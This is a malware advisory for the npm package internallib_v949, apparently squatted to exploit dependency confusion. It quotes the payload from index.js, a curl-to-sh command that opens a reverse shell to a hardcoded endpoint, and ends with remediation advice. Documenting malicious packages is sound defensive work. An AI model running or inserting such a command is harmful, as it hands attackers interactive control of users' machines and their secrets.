MAL-2026-16294 Malicious code in internallib_v949 (npm)

Malicious package Published
Package
internallib_v949
Registry
npm

What is MAL-2026-16294?

MAL-2026-16294 is a malicious package in internallib_v949, published on 18 Sep 2026.

Official description

index.js line 5 invokes child_process.exec to run '/bin/bash -c "curl https://reverse-shell.sh/… | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker endpoint 10.0.16.19:443. The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

What should I do about MAL-2026-16294?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Also known as GHSA-f863-m366-9cfm.

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